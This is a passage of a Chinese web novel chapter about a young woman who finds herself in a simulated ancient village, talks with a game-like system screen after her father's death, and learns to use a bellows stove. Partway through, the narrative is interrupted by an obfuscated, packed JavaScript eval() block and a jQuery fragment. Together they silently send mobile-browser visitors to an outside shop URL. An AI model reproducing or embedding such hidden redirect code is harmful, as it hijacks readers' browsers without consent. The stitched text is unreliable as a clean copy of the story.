另外就是,身上的衣裳穿着也有些奇怪,沈楹根本就不知道该怎么穿脱,索性也就没管。
这会儿她脑子里根本就没有这些问题。
现在吃饱了,脑子也能转动起来了,慢慢开始思索自己现在的情况。
沈楹想起来,她不仅几天没吃饭,她还几天没洗澡,这在之前,那是根本不可能的事情。
现在能和人沟通,可真是太好了。
只要能沟通,有很多不明白的事情,都是可以问的。
沈楹说想要洗澡,惹得那些人面面相觑。
她问了才知道,洗澡并不是一件容易的事情,当然,对于秀才女儿来说,还是稍微简单点的,家里就有个浴桶。
不过要自己烧热水,然后放到浴桶里洗。
沈楹瞪大双眼,光是听着她就已经懵了,听着就已经很麻烦了。
另外那几个妇人跟沈楹说话的时候,也发现了不对劲,她们发现沈楹好似不认识她们了一样。
从前喊她们这个伯娘那个婶儿的,这次却叫什么阿姨。
这古古怪怪的称呼,又让众人一脸懵。
再看洗澡这种事情都要追问,众人心里到底还是觉得不对劲,又去找了村正说了情况。
那大夫又来了,给沈楹看了一会儿,眉头都皱了起来。最后似模似样的得出了一个分析,她这是脑子受了刺激,所以不记得所有人了。
也不能这么说,还是知道如今躺在棺材里的那个沈秀才是自己的爹,也知道自己的名字叫做沈楹。
就是不记得村子里的其他人了,就连自己平日玩的好的女子,也认不得谁跟谁了。
若是沈楹自己,自然是不好解释什么,现在有个大夫在这里,也算是给了沈楹这种情况一个合理的解释。
玩剧本杀的时候,还要掩盖自己的身份,现在沉浸式体验剧本里的角色,沈楹倒也不傻,自然不可能到处跟人嚷嚷自己是穿越过来的。
听到那个大夫的说法之后,沈楹腼腆笑了笑,干脆默认了,她本来就不认识谁跟谁,就当她被刺激的给忘记了吧。
不然她还真的没办法解释,自己怎么突然就不认得人了。
沈家这一连串的事情,倒是让人格外的唏嘘。
沈秀才去世,这独女竟然还变成了这样。
村正沉默了一会儿,干脆让沈楹先去休息一会儿再过去给沈秀才守灵,主要是怕她守着再把自己给守没了,这模样着实有些吓人。
也没人说沈楹不像话,但凡见过她这模样的,谁能昧着良心指责她不孝呢。整整三天,水米没进,还被刺激的把什么都给忘记了。
沈楹躺在床上,这会儿天还亮着,她闭上眼睛,倒是难得好好睡了一会儿。
睁开眼睛的时候,太阳已经要落山了,屋子里的光线也暗了下来。
沈楹坐了起来,坐在床上,有一种不知今夕是何年是感觉。
好一会儿她才缓过来,揉了揉脸颊,沈楹想起来一个重要的问题,她看着自己的面前,试探道,“喂,那个谁,你还在吗?”
半透明的屏幕出现。
【在的,宿主。】
“那个,能不能把我的钱都弄过来啊?”
【不成,宿主需要知道,你所在的世界的钱币,跟本世界的钱币并不通用,即便可以弄过来,宿主的钱在这里,也是花不出去的。】
“那这个世界的钱长什么样子?”
屏幕上的字消失了,空白的一片,许久都没有给出回答。
就在沈楹以为这个屏幕不会给出答案的时候,上面又出现了一行字。
【宿主可以打开你的衣柜,里头有个黑色的木盒子,钥匙就藏在梳妆台左边的第二个抽屉里。】
沈楹半信半疑的起身,按照屏幕上的指引将东西拿了出来。
打开上面的钥匙,木盒子里果然有一些东西。
“这是银子吗?”
别的不提,银子她还是认识的。
只是那些银子,都是不规则的形状,另外有些地方,好像是被剪过的样子。
盒子里还有不少的铜钱。
沈楹有个朋友爸爸喜欢收藏古董,这些铜板她也是见过的。也跟着被科普了一番,铜板也不是都值钱,是要看年份的。
这个铜板上刻着泰和通宝,沈楹还好生研究了一番。
“这个,应该值点儿钱吧,不知道我拿回去,庞叔叔收不收?”
屏幕上突然滋啦滋啦了两下,沈楹诧异的看了过去,上面浮现出几行字。
【别做梦了,这是模拟出来的古代背景,简单点来说,就是架空朝代,这里的东西,没有任何的研究价值,而且你也带不走这里的任何东西。】
后面还跟了几个表情包,沈楹感觉自己好像被这个屏幕给鄙视了一样。
她把铜板扔了回去,碰撞之间发出了一声响动。
对于自己不熟悉的东西感觉到好奇,不是很正常的事情,这个怪东西的鄙视,让沈楹觉得很不高兴。
要不是它把自己无缘无故的弄到这里,根本就不会发生这样的事情。
外头有动静传过来,沈楹把盒子原样放了回去,走出去看了一下。
院子里没什么人了,沈秀才的棺材还摆放在堂屋里。
沈楹脚步不由放轻了许多,“那个……不会有鬼吧?”
【当然不会的,剧情设定里并没有鬼魂的存在,宿主你也不用担心会诈尸。这里只是我们设定的一个场景,宿主只需要扮演好自己的角色就行。】
即便如此,看到“诈尸”两个字,沈楹的心,还是不由的颤抖起来。
她安慰自己,真的只是游戏而已。
就当是在玩剧本杀,只不过是场景比较真实的剧本杀。
大概是能听懂别人说话了,沈楹心里没有刚来的时候那么慌张。
她走到沈秀才棺材旁边,一边给他烧纸,一边和那个屏幕说话。
经过几天的实验,沈楹发现不用她说出口,在脑海里,也能和这个屏幕沟通的。就不用她对着空气自言自语,也不用被人误会成是个傻子。
虽然陪着说话的不是人,可至少沈楹没有刚才那么害怕。
饿了就去厨房找点儿吃的,看着那灶台,沈楹直接就懵了,她根本不会烧火。
锅里的粥已经凉了,沈楹肚子太饿,对着凉粥看了半天,到底还是盛了一碗出来将就吃了。
只是吃了之后,还是感觉饿。
那粥也很快就吃完了。
沈楹只能厚着脸皮再请人帮忙做顿饭,只是这回学聪明了,知道在旁边看着。
来帮忙的那婶子,姓陶,旁人都喊一声陶婶子,沈楹求人帮忙,自然是要嘴甜的。见那陶婶子坐在灶间拉着什么,沈楹好奇的凑了过去。
“这是什么?”沈楹指着旁边一个奇怪的箱子问道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579722|202681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这几日村子里的人,都适应了沈楹的不正常,知道她这是因为亲爹沈秀才突然去了,被刺激狠了。
见她询问,陶婶子只笑道,“这是风箱。”
说话的时候,还给沈楹演示了一下风箱的作用,一推一送的,呼呼作响。这个风箱会把风送进灶膛,帮助柴火燃烧。
炉灶下面,还有个掏灰口。
陶婶子说话的时候,又往灶膛里添了跟枯柴。
“沈娘子,你家得再上山捡点儿柴火了,这柴都要烧没了。”
沈楹不太懂,不过还是点了点头。
她搬了小板凳看着,神色十分认真,让陶婶子也看愣了。
沈家这小娘子生的好看,样貌随了她那早去了的母亲,唇红齿白的。
秀才娘子还活着的时候,就是十里八乡数一数二的美人。从前只觉得沈家小娘子随了母亲,可这样仔细的看,也不免有些吃惊。
倘若沈秀才还活着的话,这沈家娘子,家里有个秀才爹,自己模样长得也好,说不准能嫁到县城去享福呢。可叹这沈秀才一撒手,留这小娘子一个人,婚事怕是没那么顺利了。
沈小娘子今年十七了,按照正常情况来说,是要为沈秀才守孝三年的,到时候可就十九了。
陶婶子嘴巴动了动,到底没提婚事。
沈楹不知道陶婶子想的什么,只看着那风箱,心里跃跃欲试,她指着风箱道,“这个,给我试试吧。”
她想着,烧火再难,还能有做饭难。
看这个陶婶子拉着风箱,时不时的往里头添一把柴火,沈楹觉得这么简单的事情,她一学就会了。
只要会烧火,就能把东西煮熟,别的她不一定会做,煮粥她觉得自己还是可以的,一小把米,多加点儿水的事情。
其他的再慢慢学吧,她应该……不会把自己饿死吧?
与其想着,那还不如动手试试。
沈楹接替了陶婶子的位置。
“先添点儿柴火吧。”陶婶子说道。
沈楹看了一下身边堆着的柴火,有枯柴还有麦秆以及干树叶和干草。
她捡了一片树叶,两根手指捏着叶柄的部分,小心翼翼的扔进了灶膛里。
那叶子一沾火,立刻便燃了起来。
见她这样的做派,陶婶子也觉得很不可思议,不过也没说些什么。只想着沈秀才家的这个闺女,脑子被刺激成这个样子,也不知道什么时候才能好。
从前多勤快的一个小娘子啊,如今做起事情来,跟先前简直判若两人。
“这些哪够啊,你多抓着,一把送进去。”陶婶子说道。
沈楹又挑了一根两指粗,手掌长的树枝,也是用两根手指捡了起来,丢了进去。
听到陶婶子说还要再加,她干脆抓了一把麦秆,这麦秆不好丢进去,却十分好抓,主要是被码的整整齐齐的,抓着不扎手。沈楹把麦秆往灶膛里送了送,结果火一下子窜了上来。
火舌撩了一下沈楹的指尖,吓得她连忙缩回手,手背还撞到了灶膛上,蹭了一手黑灰,那一下撞得不清,还疼得她眼泪都要落了下来。
撤回手的时候,还带了一些着了火的麦秆出来,沈楹吓的跳了起来。
陶婶子叹了一声,过去用脚踩灭了地上的火,看向沈楹的目光,眼里是十分复杂的情绪。
这沈小娘子不仅忘记了人,连日常会做的事情,竟然也都忘记了,这以后可怎么办呦。